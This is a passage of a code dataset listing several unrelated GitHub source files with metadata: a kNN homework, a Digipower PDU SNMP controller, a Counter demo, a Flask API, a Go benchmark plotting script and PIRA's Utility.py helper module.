np.dot(v1,v2) / np.linalg.norm(v1) / np.linalg.norm(v2)\n\n def kNeiborhood(trainx, trainy, validatex,k):\n from scipy import stats\n predict = np.zeros(len(validatex))\n for i,v in enumerate(validatex):\n distances = np.zeros(len(trainx))\n for j,trainV in enumerate(trainx):\n distances[j] = cosDist(trainV, v)\n index = np.argsort(distances)[::-1]\n sortedy = trainy[index]\n ky = sortedy[0:k]\n result = stats.mode(ky)\n predict[i] = result[0][0]\n return predict\n\n def determineK(train_X, train_y, test_X):\n from sklearn.metrics import f1_score\n eLambda = []\n for k in range(1,20):\n sumE = 0\n kf = KFold(n_splits=5, shuffle = True)\n for trainIndex, validateIndex in kf.split(train_X):\n trainx = train_X[trainIndex]\n validatex = train_X[validateIndex]\n trainy = train_y[trainIndex]\n validatey = train_y[validateIndex]\n\n pred = kNeiborhood(trainx, trainy, validatex, k)\n sumE += f1_score(validatey, pred, average=\"macro\")\n eLambda.append(sumE/5)\n maxE = 0 \n K = 1\n for i,e in enumerate(eLambda):\n if maxE < e:\n maxE = e\n K = i+1\n return K\n\n k = determineK(train_X, train_y, test_X)\n pred_y = kNeiborhood(train_X, train_y, test_X, k)\n return pred_y # pred_y is a label with test_X\n", "repo_name": "orion0616/deep-learning", "sub_path": "chap3/homework.py", "file_name": "homework.py", "file_ext": "py", "file_size_in_byte": 1713, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "scipy.stats.mode", "line_number": 19, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 19, "usage_type": "name"}, {"api_name": "sklearn.model_selection.KFold", "line_number": 28, "usage_type": "call"}, {"api_name": "sklearn.metrics.f1_score", "line_number": 36, "usage_type": "call"}]} +{"seq_id": "32529432601", "text": "from enum import Enum\nimport pysnmp.hlapi.asyncio as hlapi\nfrom pysnmp.hlapi.asyncio import (\n CommunityData,\n ContextData,\n ObjectIdentity,\n ObjectType,\n SnmpEngine,\n UdpTransportTarget,\n getCmd,\n setCmd\n)\nfrom pysnmp.proto.rfc1902 import (\n OctetString,\n)\n\nSNMP_VERSIONS = {\"1\": 0, \"2c\": 1, \"3\": None}\n\n\nclass SNMPException(Exception):\n def __init__(self, *args: object) -> None:\n super().__init__(*args)\n\n\nclass OIDs(Enum):\n MAC = \"1.3.6.1.4.1.17420.1.2.3.0\"\n FIRMWARE_VERSION = \"1.3.6.1.4.1.17420.1.2.4.0\"\n DEVICE_OWNER = \"1.3.6.1.2.1.1.4.0\"\n DEVICE_NAME = \"1.3.6.1.2.1.1.5.0\"\n DEVICE_LOCATION = \"1.3.6.1.2.1.1.6.0\"\n CURRENT = \"1.3.6.1.4.1.17420.1.2.9.1.11.0\"\n TEMPERATURE = \"1.3.6.1.4.1.17420.1.2.7.0\"\n HUMIDITY = \"1.3.6.1.4.1.17420.1.2.8.0\"\n SWITCH_COUNT = \"1.3.6.1.2.1.1.7.0\"\n ACTIVE_SWITCHES = \"1.3.6.1.4.1.17420.1.2.9.1.13.0\"\n MODEL_NUMBER = \"1.3.6.1.4.1.17420.1.2.9.1.19.0\"\n MODEL_NAME = \"1.3.6.1.4.1.17420.1.2.9.1.18.0\"\n MODEL_NAME_SHORT = \"1.3.6.1.4.1.17420.1.2.9.1.20.0\"\n MFG_DATE = \"1.3.6.1.4.1.17420.1.3.0.0\"\n VOLTAGE = \"1.3.6.1.4.1.17420.1.3.1.0\"\n FREQUENCY = \"1.3.6.1.4.1.17420.1.3.2.0\"\n POWER_FACTOR = \"1.3.6.1.4.1.17420.1.3.3.0\"\n ACTIVE_POWER = \"1.3.6.1.4.1.17420.1.3.4.0\"\n APPEARENT_POWER = \"1.3.6.1.4.1.17420.1.3.5.0\"\n MAIN_ENERGY = \"1.3.6.1.4.1.17420.1.3.6.0\"\n ACCUMLATING_ENERGY = \"1.3.6.1.4.1.17420.1.3.8.0\"\n CARBON_EMMISION_RATE = \"1.3.6.1.4.1.17420.1.3.10.0\"\n SWITCH_NAME_BY_ID = \"1.3.6.1.4.1.17420.1.2.9.1.14.%d.0\"\n\n\nclass DigipowerPDU:\n def __init__(self, host, port, community) -> None:\n self.host = host\n self.port = port\n self.community = community\n self.humidity = 0\n self.temperature = 0\n self.current = 0\n self.model = \"\"\n self.model_short = \"\"\n self.model_number = \"\"\n self.port_count = 0\n self.request_args = [\n SnmpEngine(),\n CommunityData(self.community, mpModel=SNMP_VERSIONS[\"1\"]),\n UdpTransportTarget((self.host, self.port)),\n ContextData(),\n ]\n self.dispatcher = SnmpEngine()\n self.community_data = CommunityData(\n self.community, mpModel=SNMP_VERSIONS[\"1\"])\n self.transport_target = UdpTransportTarget((self.host, self.port))\n self.context = ContextData()\n self.names = []\n self.has_humidity = False\n self.has_temp = False\n self.initialised = False\n self.port_names = []\n self.changed_ports = []\n self.active_ports = []\n\n async def update(self):\n if self.has_humidity:\n self.humidity = int(await self._snmp_get(OIDs.HUMIDITY.value)) or 0\n if self.has_temp:\n self.temperature = int(await self._snmp_get(OIDs.TEMPERATURE.value)) or 0\n self.current = (int(await self._snmp_get(OIDs.CURRENT.value)) or 0) / 10.0\n if self.changed_ports:\n for port, state in self.changed_ports:\n self.active_ports[port] = state\n self.changed_ports = []\n errindication, errstatus, errindex, restable = await setCmd(\n self.dispatcher,\n self.community_data,\n self.transport_target,\n self.context,\n ObjectType(\n ObjectIdentity(OIDs.ACTIVE_SWITCHES.value),\n OctetString(\",\".join([str(int(x))\n for x in self.active_ports])),\n ),\n )\n if errindication:\n raise SNMPException(\"SNMP error: {}\".format(errindication))\n elif errstatus:\n raise SNMPException(\"SNMP error: {} at {}\", errstatus.prettyPrint(),\n errindex and restable[-1][int(errindex) - 1] or \"?\")\n \n self.active_ports = [bool(int(x)) for x in str(await self._snmp_get(OIDs.ACTIVE_SWITCHES.value)).split(\",\")]\n return self\n\n async def init(self):\n self.has_humidity = True\n self.has_temp = True\n self.initialised = True\n await self.update()\n self.mac = str(await self._snmp_get(OIDs.MAC.value)) or \"\"\n self.devicename = str(await self._snmp_get(OIDs.DEVICE_NAME.value)) or \"\"\n self.model = str(await self._snmp_get(OIDs.MODEL_NAME.value)) or \"\"\n self.model_number = str(await self._snmp_get(OIDs.MODEL_NUMBER.value)) or \"\"\n self.model_short = str(await self._snmp_get(OIDs.MODEL_NAME_SHORT.value)) or \"\"\n self.has_humidity = self.humidity != 0\n self.has_temp = self.temperature != 0\n self.port_count = int(await self._snmp_get(OIDs.SWITCH_COUNT.value)) + 1\n self.port_names = [\n str(await self._snmp_get(OIDs.SWITCH_NAME_BY_ID.value % port)).split(\",\")[0]\n for port in range(1, self.port_count + 1)\n ]\n\n async def _snmp_get(self, oid: str):\n errindication, errstatus, errindex, restable = await getCmd(\n self.dispatcher,\n self.community_data,\n self.transport_target,\n self.context,\n ObjectType(ObjectIdentity(oid))\n )\n if errindication:\n raise SNMPException(\"SNMP error: {}\".format(errindication))\n elif errstatus:\n raise SNMPException(\"SNMP error: {} at {}\", errstatus.prettyPrint(),\n errindex and restable[-1][int(errindex) - 1] or \"?\")\n else:\n return restable[0][-1]\n\n def set_port_state(self, port: int, state: bool):\n self.changed_ports.append((port, state))\n self.active_ports[port] = state\n\n def get_port_state(self, port: int):\n return self.active_ports[port]\n\n def get_port_name(self, port: int):\n return self.port_names[port]\n", "repo_name": "sanjay900/digipower-pdu-homeassistant", "sub_path": "custom_components/digipower_pdu/pdu.py", "file_name": "pdu.py", "file_ext": "py", "file_size_in_byte": 5826, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "enum.Enum", "line_number": 25, "usage_type": "name"}, {"api_name": "pysnmp.hlapi.asyncio.SnmpEngine", "line_number": 64, "usage_type": "call"}, {"api_name": "pysnmp.hlapi.asyncio.CommunityData", "line_number": 65, "usage_type": "call"}, {"api_name": "pysnmp.hlapi.asyncio.UdpTransportTarget", "line_number": 66, "usage_type": "call"}, {"api_name": "pysnmp.hlapi.asyncio.ContextData", "line_number": 67, "usage_type": "call"}, {"api_name": "pysnmp.hlapi.asyncio.SnmpEngine", "line_number": 69, "usage_type": "call"}, {"api_name": "pysnmp.hlapi.asyncio.CommunityData", "line_number": 70, "usage_type": "call"}, {"api_name": "pysnmp.hlapi.asyncio.UdpTransportTarget", "line_number": 72, "usage_type": "call"}, {"api_name": "pysnmp.hlapi.asyncio.ContextData", "line_number": 73, "usage_type": "call"}, {"api_name": "pysnmp.hlapi.asyncio.setCmd", "line_number": 92, "usage_type": "call"}, {"api_name": "pysnmp.hlapi.asyncio.ObjectType", "line_number": 97, "usage_type": "call"}, {"api_name": "pysnmp.hlapi.asyncio.ObjectIdentity", "line_number": 98, "usage_type": "call"}, {"api_name": "pysnmp.proto.rfc1902.OctetString", "line_number": 99, "usage_type": "call"}, {"api_name": "pysnmp.hlapi.asyncio.getCmd", "line_number": 131, "usage_type": "call"}, {"api_name": "pysnmp.hlapi.asyncio.ObjectType", "line_number": 136, "usage_type": "call"}, {"api_name": "pysnmp.hlapi.asyncio.ObjectIdentity", "line_number": 136, "usage_type": "call"}]} +{"seq_id": "31936421986", "text": "# -*- coding: utf-8 -*-\n__author__ = '__apple'\n__time__ = '2018/2/7 14:59'\n\n'''\n 统计更屌\n'''\n\nfrom collections import Counter\n\nusers = ['apple1','apple2','apple1','apple3','apple2','apple2','apple4']\n\nuser_counter = Counter(users)\nuser_string = Counter('dasdasdfadfvsdfdasf')\n\nprint(user_string) # Counter({'d': 6, 'a': 4, 's': 4, 'f': 4, 'v': 1})\nprint(user_counter) # Counter({'apple2': 3, 'apple1': 2, 'apple3': 1, 'apple4': 1})\n\nuser_string.update('dadfadasda')\n\nprint(user_counter.most_common(2)) # [('apple2', 3), ('apple1', 2)]\nprint(user_string) # Counter({'d': 10, 'a': 8, 's': 5, 'f': 5, 'v': 1})", "repo_name": "vipmorgana/collections", "sub_path": "counter.py", "file_name": "counter.py", "file_ext": "py", "file_size_in_byte": 614, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "collections.Counter", "line_number": 13, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "42850653070", "text": "from flask import *\nimport json, time\n\napi = Flask(__name__)\n\n\n@api.route('/', methods=['GET'])\ndef Main_page():\n data_set = {\n 'Page': 'Main',\n 'Message': 'Sucessfully loaded the Main page',\n 'Timestamp': time.time()\n }\n json_dump = json.dumps(data_set)\n\n return json_dump\n\nif __name__ == '__main__':\n api.run(host='0.0.0.0', port=8080)\n", "repo_name": "afnan007a/API-Example", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 374, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "80", "api": [{"api_name": "time.time", "line_number": 12, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 14, "usage_type": "call"}]} +{"seq_id": "38014816048", "text": "import matplotlib.pyplot as pl\nimport argparse\nimport pandas as pd\n\nparser = argparse.ArgumentParser(description='Plot golang benchmark results')\nparser.add_argument('filename', metavar='filename', nargs=1,\n help='filename containing benchmark results')\n\nargs = parser.parse_args()\n\nvalues = pd.read_csv(args.filename[0], index_col = 0, usecols = [0, 1, 2, 3], sep='\\s+', header=None, names=[\"index\", \"iterations\", \"time\", \"unit\"])\n\nvalues.dropna(inplace = True)\n\nvalues.index = values.index.str.replace('-\\\\d', '').str.split('/', expand=True)\n\nvalues.index.set_levels([values.index.levels[0], values.index.levels[1].astype(int)], inplace = True)\n\nfig, ax = pl.subplots(figsize=(5, 3))\n\nax.set_xlabel('size')\nax.set_ylabel('time' + ' (' + values['unit'].iloc[0] + ')')\n\nfor i in values.index.get_level_values(0).unique():\n ax.plot(values['time'][i].index, values['time'][i], linestyle='-')\n\nax.legend(values.index.get_level_values(0).unique())\n\nfig.savefig('output.png')\n", "repo_name": "juliobg/plot_go_benchmark", "sub_path": "plot_go_benchmark.py", "file_name": "plot_go_benchmark.py", "file_ext": "py", "file_size_in_byte": 994, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "86", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 5, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}]} +{"seq_id": "13594576294", "text": "\"\"\"\nFile: Utility.py\nLicense: Part of the PIRA project. Licensed under BSD 3 clause license. See LICENSE.txt file at https://github.com/jplehr/pira/LICENSE.txt\nDescription: Module to support other tasks.\n\"\"\"\n\nimport sys\nsys.path.append('..')\nfrom lib.Exception import PiraException\nimport os\nimport subprocess\nimport lib.Logging as log\nimport filecmp\nfrom random import choice\nfrom string import ascii_uppercase\nfrom timeit import timeit\nimport shutil\nimport tempfile\n\nimport typing\n\nqueued_job_filename = './queued_job.tmp'\nhome_directory = ''\n\ndef exit(code=\"1\"):\n sys.exit(code)\n\n# --- Files / Directories --- #\n\n\ndef set_home_dir(home_dir: str) -> None:\n global home_directory\n home_directory = home_dir\n\n\ndef get_home_dir() -> str:\n if home_directory == '':\n raise PiraException('Utility::get_home_dir: No Home Directory Set!')\n\n return home_directory\n\n\ndef get_cwd() -> str:\n return os.getcwd()\n\n\ndef change_cwd(path: str) -> None:\n log.get_logger().log('Utility::change_cwd: to ' + path, level='debug')\n os.chdir(path)\n\n\ndef read_file(file_name: str) -> str:\n with open(file_name) as f:\n content = f.read()\n\n return content\n\n\ndef copy_file(source_file: str, target_file: str) -> None:\n log.get_logger().log('Utility::copy_file: ' + source_file + ' -to- ' + target_file)\n shutil.copyfile(source_file, target_file)\n\n\n\ndef lines_in_file(file_name: str) -> int:\n if is_file(file_name):\n content = read_file(file_name)\n lines = len(content.split('\\n'))\n return lines\n\n log.get_logger().log('Utility::lines_in_file: No file ' + file_name + ' to read. Return 0 lines', level='debug')\n return 0\n\ndef check_provided_directory(path: str) -> bool:\n if os.path.isdir(path):\n return True\n\n return False\n\n\ndef get_absolute_path(path: str) -> str:\n if path[0] == '/':\n return path\n\n return os.path.abspath(path)\n\n\ndef is_absolute_path(path: str) -> bool:\n if not check_provided_directory(path):\n \"\"\"\n This is a hack for our tests, as we fake file paths in the tests.\n If the path is invalid from a system's point of view, but looks like an absolute directory\n we keep going, and return that it is an absolute path.\n \"\"\"\n if path[0] == '/':\n return True\n\n return os.path.isabs(path)\n\n\ndef create_directory(path: str) -> None:\n os.makedirs(path)\n\ndef get_tempdir():\n return tempfile.gettempdir()\n\ndef make_dir(path):\n if not(check_provided_directory(path)):\n os.mkdir(path)\n\ndef make_dirs(path):\n os.makedirs(path,0o777,True)\n\ndef write_file(file_path: str, file_content: str) -> str:\n log.get_logger().log('Utility::write_file: file_path to write: ' + file_path)\n with open(file_path, 'w+') as out_file:\n out_file.write(file_content)\n\n\ndef get_base_dir(file_path: str) -> str:\n return os.path.dirname(file_path)\n\n\ndef is_file(path: str) -> bool:\n if os.path.isfile(path):\n return True\n return False\n\ndef check_file(path: str) -> bool:\n if os.path.exists(path):\n return True\n return False\n\ndef is_valid_file_name(file_name: str) -> bool:\n import re\n search = re.compile(r'[^a-zA-z0-9/\\._-]').search\n return not bool(search(file_name))\n\n\ndef rename(old: str, new: str) -> None:\n os.rename(old, new)\n\n\ndef remove(path: str) -> None:\n for root, dirs, files in os.walk(path):\n for f in files:\n os.unlink(os.path.join(root, f))\n for d in dirs:\n shutil.rmtree(os.path.join(root, d))\n\ndef remove_dir(path: str):\n if os.path.isdir(path):\n shutil.rmtree(path)\n\n\ndef remove_file(path: str) -> bool:\n if is_file(path):\n os.remove(path)\n return True\n return False\n\n\n# --- File-related utils --- #\n\ndef json_to_canonic(json_elem):\n if isinstance(json_elem, list):\n new_list = []\n for entry in json_elem:\n new_list.append(json_to_canonic(entry))\n return new_list\n\n elif isinstance(json_elem, str):\n new_str = str(json_elem)\n return new_str\n\n elif isinstance(json_elem, dict):\n new_dict = {}\n for k in json_elem:\n key_v = json_to_canonic(k)\n new_dict[key_v] = json_to_canonic(json_elem[key_v])\n return new_dict\n\n else:\n return str(json_elem)\n\n\ndef remove_from_pgoe_out_dir(directory: str) -> None:\n remove(directory + \"/\" + \"out\")\n\n\ndef lines_in_file(file_name: str) -> int:\n if check_file(file_name):\n content = read_file(file_name)\n lines = len(content.split('\\n'))\n return lines\n\n log.get_logger().log('Utility::lines_in_file: No file ' + file_name + ' to read. Return 0 lines', level='debug')\n return 0\n\n\ndef diff_inst_files(file1: str, file2: str) -> bool:\n if (filecmp.cmp(file1, file2)):\n return True\n return False\n\n\ndef set_env(env_var: str, val) -> None:\n log.get_logger().log('Utility::set_env: Setting ' + env_var + ' to ' + str(val), level='debug')\n os.environ[env_var] = val\n\n\ndef generate_random_string() -> str:\n return ''.join(choice(ascii_uppercase) for i in range(12))\n\n\n# --- Shell execution and timing --- #\n\ndef timed_invocation(command: str, stderr_fd) -> typing.Tuple[str, float]:\n t1 = os.times() # start time\n out = subprocess.check_output(command, stderr=stderr_fd, shell=True)\n t2 = os.times() # end time\n cutime = t2[2] - t1[2]\n cstime = t2[3] - t1[3]\n elapsed = t2[4] - t1[4]\n # FIXME: How to actually compute this? Make it configurable?\n # Problem is: util.shell('sleep 4s') returns cutime + cstime == 0\n runtime = cutime + cstime\n runtime = elapsed\n return out, runtime\n\n\ndef shell(command: str, silent: bool = True, dry: bool = False, time_invoc: bool = False) -> typing.Tuple[str, float]:\n if dry:\n log.get_logger().log('Utility::shell: DRY RUN SHELL CALL: ' + command, level='debug')\n return '', 1.0\n\n stderr_fn = '/tmp/stderr-bp-' + generate_random_string()\n stderr_fd = open(stderr_fn, 'w+')\n try:\n log.get_logger().log('Utility::shell: util executing: ' + str(command), level='debug')\n\n if time_invoc:\n out, rt = timed_invocation(command, stderr_fd)\n log.get_logger().log('Util::shell: timed_invocation took: ' + str(rt), level='debug')\n return str(out.decode('utf-8')), rt\n\n else:\n out = subprocess.check_output(command, stderr=stderr_fd, shell=True)\n return str(out.decode('utf-8')), -1.0\n\n except subprocess.CalledProcessError as e:\n if e.returncode == 1:\n if command.find('grep '):\n return '', .0\n\n err_out = ''\n log.get_logger().log('Utility::shell: Attempt to write stderr file', level='debug')\n err_out += stderr_fd.read()\n\n log.get_logger().log('Utility::shell: Error output: ' + str(err_out), level='debug')\n log.get_logger().log('Utility::shell: Caught Exception ' + str(e), level='error')\n raise Exception('Utility::shell: Running command ' + command + ' did not succeed')\n\n finally:\n stderr_fd.close()\n remove_file(stderr_fn)\n log.get_logger().log('Utility::shell Cleaning up temp files for subprocess communication.', level='debug')\n\n\ndef shell_for_submitter(command: str, silent: bool = True, dry: bool = False):\n if dry:\n log.get_logger().log('Utility::shell_for_submitter: SHELL CALL: ' + command, level='debug')\n return ''\n\n try:\n out = subprocess.check_output(command, shell=True)\n return out\n\n except subprocess.CalledProcessError as e:\n if e.returncode == 1:\n if command.find('grep '):\n return ''\n\n log.get_logger().log('Utility.shell: Caught Exception ' + str(e), level='error')\n raise Exception('Utility::shell_for_submitter: Running command ' + command + ' did not succeed')\n\n\n# --- Functor utilities --- #\n\ndef load_functor(directory: str, module: str):\n if not check_provided_directory(directory):\n log.get_logger().log('Utility::load_functor: Functor directory invalid', level='warn')\n if not is_valid_file_name(directory + '/' + module):\n log.get_logger().log('Utility::load_functor: Functor filename invalid', level='warn')\n\n # TODO: Add error if functor path does not exist!!!\n log.get_logger().log('Utility::load_functor: Appending ' + directory + ' to system path.', level='debug')\n append_to_sys_path(directory)\n # Adding 'fromList' argument loads exactly the module.\n functor = __import__(module)\n remove_from_sys_path(directory)\n log.get_logger().log('Utility::load_functor: Returning from load_functor', level='debug')\n return functor\n\n\ndef append_to_sys_path(path: str) -> None:\n sys.path.append(path)\n\n\ndef remove_from_sys_path(path: str) -> None:\n sys.path.remove(path)\n\n\ndef concat_a_b_with_sep(a: str, b: str, sep: str) -> str:\n return a + sep + b\n\n\ndef build_runner_functor_filename(IsForDB: bool, benchmark_name: str, flavor: str) -> str:\n if IsForDB:\n return '/runner_' + concat_a_b_with_sep(benchmark_name, flavor, '')\n else:\n return 'runner_' + concat_a_b_with_sep(benchmark_name, flavor, '_')\n\n\ndef build_builder_functor_filename(IsForDB: bool, IsNoInstr: bool, benchmark_name: str, flavor: str) -> str:\n if IsForDB:\n return '/' + concat_a_b_with_sep(benchmark_name, flavor, '')\n else:\n if IsNoInstr:\n return 'no_instr_' + concat_a_b_with_sep(benchmark_name, flavor, '_')\n else:\n return concat_a_b_with_sep(benchmark_name, flavor, '_')\n\n\ndef build_clean_functor_filename(benchmark_name: str, flavor: str) -> str:\n return 'clean_' + concat_a_b_with_sep(benchmark_name, flavor, '_')\n\n\ndef build_analyse_functor_filename(IsForDB: bool, benchmark_name: str, flavor: str) -> str:\n if IsForDB:\n return '/analyse_' + concat_a_b_with_sep(benchmark_name, flavor, '')\n else:\n return 'analyse_' + concat_a_b_with_sep(benchmark_name, flavor, '_')\n\n\ndef build_instr_file_path(analyser_dir: str, flavor: str, benchmark_name: str) -> str:\n return analyser_dir + \"/\" + 'out/instrumented-' + flavor + '-' + benchmark_name + '.txt'\n\n\ndef build_previous_instr_file_path(analyser_dir: str, flavor: str, benchmark_name: str) -> str:\n return analyser_dir + \"/\" + 'out/instrumented-' + flavor + '-' + benchmark_name + 'previous.txt'\n\n\ndef get_ipcg_file_name(base_dir: str, b_name: str, flavor: str) -> str:\n return base_dir + \"/\" + flavor + '-' + b_name + '.ipcg'\n\n\ndef run_analyser_command(command: str, analyser_dir: str, flavor: str, benchmark_name: str, exp_dir: str,\n iterationNumber: int, pgis_cfg_file: str) -> None:\n ipcg_file = get_ipcg_file_name(analyser_dir, benchmark_name, flavor)\n cubex_dir = get_cube_file_path(exp_dir, flavor, iterationNumber - 1)\n cubex_file = cubex_dir + '/' + flavor + '-' + benchmark_name + '.cubex'\n\n # PIRA version 1 runner, i.e., only consider raw runtime of single rum\n if pgis_cfg_file is None:\n log.get_logger().log('Utility::run_analyser_command: using PIRA 1 Analyzer', level='info')\n sh_cmd = command + ' ' + ipcg_file + ' -c ' + cubex_file\n log.get_logger().log('Utility::run_analyser_command: INSTR: Run cmd: ' + sh_cmd)\n out, _ = shell(sh_cmd)\n log.get_logger().log('Utility::run_analyser_command: Output of analyzer:\\n' + out, level='debug')\n return\n\n extrap_cfg_file = pgis_cfg_file\n # extrap_file_path = analyser_dir + '/' + extrap_cfg_file\n # sh_cmd = command + ' --model-filter -e ' + extrap_file_path + ' ' + ipcg_file\n sh_cmd = command + ' -e ' + pgis_cfg_file + ' ' + ipcg_file\n log.get_logger().log('Utility::run_analyser_command: INSTR: Run cmd: ' + sh_cmd)\n out, _ = shell(sh_cmd)\n log.get_logger().log('Utility::run_analyser_command: Output of analyzer:\\n' + out, level='debug')\n\n\ndef run_analyser_command_noInstr(command: str, analyser_dir: str, flavor: str, benchmark_name: str) -> None:\n ipcg_file = get_ipcg_file_name(analyser_dir, benchmark_name, flavor)\n sh_cmd = command + ' --static ' + ipcg_file\n log.get_logger().log('Utility::run_analyser_command_noInstr: NO INSTR: Run cmd: ' + sh_cmd)\n out, _ = shell(sh_cmd)\n log.get_logger().log('Utility::run_analyser_command_noInstr: Output of analyzer:\\n' + out, level='debug')\n\n\ndef get_cube_file_path(experiment_dir: str, flavor: str, iter_nr: int) -> str:\n log.get_logger().log('Utility::get_cube_file_path: ' + experiment_dir + '-' + flavor + '-' + str(iter_nr))\n return experiment_dir + '-' + flavor + '-' + str(iter_nr)\n\n\ndef build_cube_file_path_for_db(exp_dir: str, flavor: str, iterationNumber: int) -> str:\n fp = get_cube_file_path(exp_dir, flavor, iterationNumber)\n if is_valid_file_name(fp):\n return fp\n\n raise Exception('Utility::build_cube_file_path_for_db: Built file path to Cube not valid. fp: ' + fp)\n", "repo_name": "jplehr/pira", "sub_path": "lib/Utility.py", "file_name": "Utility.py", "file_ext": "py", "file_size_in_byte": 12318, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "86", "api": [{"api_name": "sys.path.append", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 26, "usage_type": "call"}, {"api_name": "lib.Exception.PiraException", "line_number": 38, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 44, "usage_type": "call"}, {"api_name": "lib.Logging.get_logger", "line_number": 48, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 48, "usage_type": "name"}, {"api_name": "os.chdir", "line_number": 49, "usage_type": "call"}, {"api_name": "lib.Logging.get_logger", "line_number": 60, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 60, "usage_type": "name"}, {"api_name": "shutil.copyfile", "line_number": 61, "usage_type": "call"}, {"api_name": "lib.Logging.get_logger", "line_number": 71, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 71, "usage_type": "name"}, {"api_name": "os.path.isdir", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path", "line_number": 75, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "os.path.isabs", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path", "line_number": 98, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 102, "usage_type": "call"}, {"api_name": "tempfile.gettempdir", "line_number": 105, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 109, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 112, "usage_type": "call"}, {"api_name": "lib.Logging.get_logger", "line_number": 115, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 115, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path", "line_number": 125, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path", "line_number": 130, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 136, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 141, "usage_type": "call"}, {"api_name": "os.walk", "line_number": 145, "usage_type": "call"}, {"api_name": "os.unlink", "line_number": 147, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 147, "usage_type": "call"}, {"api_name": "os.path", "line_number": 147, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path", "line_number": 149, "usage_type": "attribute"}, {"api_name": "os.path.isdir", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path", "line_number": 152, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 153, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 158, "usage_type": "call"}, {"api_name": "lib.Logging.get_logger", "line_number": 197, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 197, "usage_type": "name"}, {"api_name": "filecmp.cmp", "line_number": 202, "usage_type": "call"}, {"api_name": "lib.Logging.get_logger", "line_number": 208, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 208, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 209, "usage_type": "attribute"}, {"api_name": "random.choice", "line_number": 213, "usage_type": "call"}, {"api_name": "string.ascii_uppercase", "line_number": 213, "usage_type": "argument"}, {"api_name": "os.times", "line_number": 219, "usage_type": "call"}, {"api_name": "subprocess.check_output", "line_number": 220, "usage_type": "call"}, {"api_name": "os.times", "line_number": 221, "usage_type": "call"}, {"api_name": "typing.Tuple", "line_number": 218, "usage_type": "attribute"}, {"api_name": "lib.Logging.get_logger", "line_number": 234, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 234, "usage_type": "name"}, {"api_name": "lib.Logging.get_logger", "line_number": 240, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 240, "usage_type": "name"}, {"api_name": "lib.Logging.get_logger", "line_number": 244, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 244, "usage_type": "name"}, {"api_name": "subprocess.check_output", "line_number": 248, "usage_type": "call"}, {"api_name": "subprocess.CalledProcessError", "line_number": 251, "usage_type": "attribute"}, {"api_name": "lib.Logging.get_logger", "line_number": 257, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 257, "usage_type": "name"}, {"api_name": "lib.Logging.get_logger", "line_number": 260, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 260, "usage_type": "name"}, {"api_name": "lib.Logging.get_logger", "line_number": 261, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 261, "usage_type": "name"}, {"api_name": "lib.Logging.get_logger", "line_number": 267, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 267, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 232, "usage_type": "attribute"}, {"api_name": "lib.Logging.get_logger", "line_number": 272, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 272, "usage_type": "name"}, {"api_name": "subprocess.check_output", "line_number": 276, "usage_type": "call"}, {"api_name": "subprocess.CalledProcessError", "line_number": 279, "usage_type": "attribute"}, {"api_name": "lib.Logging.get_logger", "line_number": 284, "usage_type": "call"}, {"api_name": "lib.Logging", "line_number": 284, "usage_type": "name"}, {"api_name": "lib.Logging.get_logger", "line_number": 292, "usage_type": "call"}, {"api_name": 